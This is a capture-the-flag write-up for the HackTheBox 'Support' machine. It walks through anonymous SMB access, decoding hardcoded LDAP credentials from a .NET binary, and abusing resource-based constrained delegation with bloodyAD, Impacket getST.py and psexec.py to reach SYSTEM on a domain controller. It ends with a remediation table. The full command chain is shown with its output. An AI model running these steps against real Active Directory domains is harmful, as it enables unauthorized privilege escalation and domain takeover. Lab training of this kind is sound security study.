HTB Support: SMB Anonymous Access → Binary Reversing → LDAP Credentials → RBCD Privilege Escalation
Introduction
Support is an Easy Windows machine from HackTheBox featuring a realistic Active Directory attack path. The chain begins with anonymous SMB access to retrieve a custom .NET binary. Reverse engineering reveals LDAP credentials, which lead to a cleartext password stored in an info attribute. WinRM access as a low-privileged user follows, and BloodHound identifies GenericAll on DC$. Resource-Based Constrained Delegation (RBCD) is then exploited to impersonate Administrator and obtain SYSTEM on the Domain Controller.
Attack Overview
┌─────────────────────────────────────────────────────────────────┐
│ ATTACK CHAIN │
│ │
│ [Nmap] ──► [SMB Anonymous] ──► [UserInfo.exe Download] │
│ │ │
│ [.NET Decompile] │
│ │ │
│ [XOR Password Decode] │
│ │ │
│ [LDAP Auth as ldap user] │
│ │ │
│ [LDAP Enum → info field] │
│ │ │
│ [WinRM as support user] │
│ │ │
│ [BloodHound → RBCD path] │
│ │ │
│ [Add Fake Computer (bloodyAD)] │
│ │ │
│ [getST → Silver Ticket Admin] │
│ │ │
│ [psexec.py → SYSTEM on DC] │
└─────────────────────────────────────────────────────────────────┘
Machine Information
| Field | Value |
|---|---|
| Name | Support |
| OS | Windows Server 2022 |
| Difficulty | Easy |
| Category | Active Directory |
| Key Techniques | SMB Anonymous, .NET Reverse Engineering, LDAP Enumeration, RBCD |
Reconnaissance (Nmap)
Initial SYN scan with version detection and default scripts:
sudo nmap -sS -sV -sC 10.129.49.247
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
The port profile indicates a Domain Controller (DNS, Kerberos, LDAP, SMB, WinRM). The domain is support.htb. Add it to /etc/hosts and proceed with SMB enumeration.
SMB Anonymous Enumeration
List available shares anonymously:
smbclient -L //support.htb/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
The support-tools share is accessible without credentials. Connect and list contents:
smbclient //support.htb/support-tools -N
smb: \> ls
7-ZipPortable_21.07.paf.exe
npp.8.4.1.portable.x64.zip
putty.exe
SysinternalsSuite.zip
UserInfo.exe.zip <-- custom binary
windirstat1_1_2_setup.exe
WiresharkPortable64_3.6.5.paf.exe
Download UserInfo.exe.zip:
smb: \> get UserInfo.exe.zip
Reverse Engineering UserInfo.exe
The binary is a .NET executable. Decompiling it with dnSpy or ILSpy reveals the UserInfo.Services.LdapQuery class containing a getPassword() method inside a Protected class:
internal class Protected
{
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (byte)(array[i] ^ key[i % key.Length] ^ 0xDF);
}
return Encoding.Default.GetString(array2);
}
}
The decryption routine: Base64 decode, then XOR each byte with key[i % 7] ^ 0xDF. The operation is reversible.
Python script to recover the password:
import base64
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(enc_password)
decoded = ""
for i in range(len(data)):
char = data[i] ^ key[i % len(key)] ^ 0xDF
decoded += chr(char)
print(f"Password: {decoded}")
Output:
Password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
The associated username is likely ldap (the LDAP binding account used by the application).
LDAP Enumeration
Authenticate to LDAP and enumerate domain users:
ldapsearch -x -H ldap://support.htb \
-D "support\\ldap" \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b "DC=support,DC=htb" \
"(objectClass=user)" sAMAccountName description info
Among the results, the support user contains a cleartext password in the info attribute:
dn: CN=support,CN=Users,DC=support,DC=htb
sAMAccountName: support
info: Ironside47pleasure40Watchful
Credentials obtained: support:Ironside47pleasure40Watchful.
Initial Access via WinRM
Verify WinRM access:
nxc winrm 10.129.49.247 -u 'support' -p 'Ironside47pleasure40Watchful'
Output: WINRM 10.129.49.247 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
Connect using Evil-WinRM:
evil-winrm -i 10.129.49.247 -u 'support' -p 'Ironside47pleasure40Watchful'
Retrieve the user flag:
*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt
[redacted]
BloodHound & Privilege Escalation Path
Collect BloodHound data:
bloodhound-python -u support -p "Ironside47pleasure40Watchful" \
-d support.htb -dc 10.129.49.247 -c All --zip
In BloodHound, the critical path is:
support→ member of →Shared Support AccountsShared Support Accounts→GenericAllon →DC$
GenericAll on the Domain Controller’s machine account enables Resource-Based Constrained Delegation (RBCD) abuse.
Resource-Based Constrained Delegation (RBCD)
In classic constrained delegation, an administrator configures msDS-AllowedToDelegateTo on the delegating account. RBCD reverses the model: the target resource controls who can delegate to it via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
GenericAll on DC$ allows writing this attribute. The attack chain:
- Create a machine account (any domain user can create up to 10 by default –
MachineAccountQuota). - Write that machine account into
msDS-AllowedToActOnBehalfOfOtherIdentityonDC$. - Use S4U2Self + S4U2Proxy to request a service ticket on behalf of Administrator for
cifs/DC. - Use the ticket to authenticate as Administrator to the Domain Controller.
RBCD Exploitation
Create a Machine Account
bloodyAD -d support.htb \
-u support -p 'Ironside47pleasure40Watchful' \
--host dc.support.htb \
add computer 'ATTACKERSYSTEM' 'Summer2018!'
Output: [+] ATTACKERSYSTEM$ created
Configure RBCD on DC$
Authorize ATTACKERSYSTEM$ to impersonate any user on DC$:
bloodyAD -d support.htb \
-u support -p 'Ironside47pleasure40Watchful' \
--host dc.support.htb \
add rbcd 'DC$' 'ATTACKERSYSTEM$'
Output: [+] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy
Request a Service Ticket for Administrator
Use getST.py from Impacket:
python3 /usr/share/doc/python3-impacket/examples/getST.py \
-spn 'cifs/dc.support.htb' \
-impersonate 'Administrator' \
-dc-ip dc.support.htb \
'support.htb/ATTACKERSYSTEM$:Summer2018!'
Output:
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Use the Ticket for SYSTEM Access
Export the ticket and use psexec.py:
export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
support.htb/administrator@dc.support.htb \
-k -no-pass
Output:
[*] Found writable share ADMIN$
[*] Uploading file RbnQuqaY.exe
[*] Creating service on dc.support.htb
[*] Starting service...
Microsoft Windows [Version 10.0.20348.859]
C:\Windows\system32> whoami
nt authority\system
Retrieve the root flag:
C:\Users\Administrator\Desktop> type root.txt
[redacted]
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| Anonymous SMB share | Null session allowed on support-tools share | Disable null session access; audit shares with net share and restrict ACLs |
| Hardcoded credentials in binary | Secret stored in .NET executable with reversible XOR | Never store credentials in code; use secrets managers (CyberArk, HashiCorp Vault, DPAPI) |
Cleartext password in LDAP info attribute | Admins using info or description fields for notes | Regularly audit all AD objects for sensitive data in non-protected attributes |
GenericAll on DC$ from non-admin group | Overly permissive ACLs | Audit AD ACLs with BloodHound; enforce least privilege; remove excessive delegations |
MachineAccountQuota > 0 | Default allows 10 machine creations per user | Lower ms-DS-MachineAccountQuota to 0 at domain level; only admins should create machine accounts |
| Unmonitored RBCD configuration | No alerting on writes to msDS-AllowedToActOnBehalfOfOtherIdentity | Monitor Event ID 5136 for attribute modifications to this property |
Resources
- Nmap — Port scanning and service detection
- smbclient — SMB enumeration and file retrieval
- dnSpy / ILSpy — .NET decompilation
- ldapsearch — LDAP querying
- NetExec (nxc) — WinRM authentication testing
- evil-winrm — WinRM shell
- bloodhound-python — AD attack path enumeration
- bloodyAD — RBCD configuration and machine account creation
- Impacket —
getST.py(S4U2Self + S4U2Proxy) andpsexec.py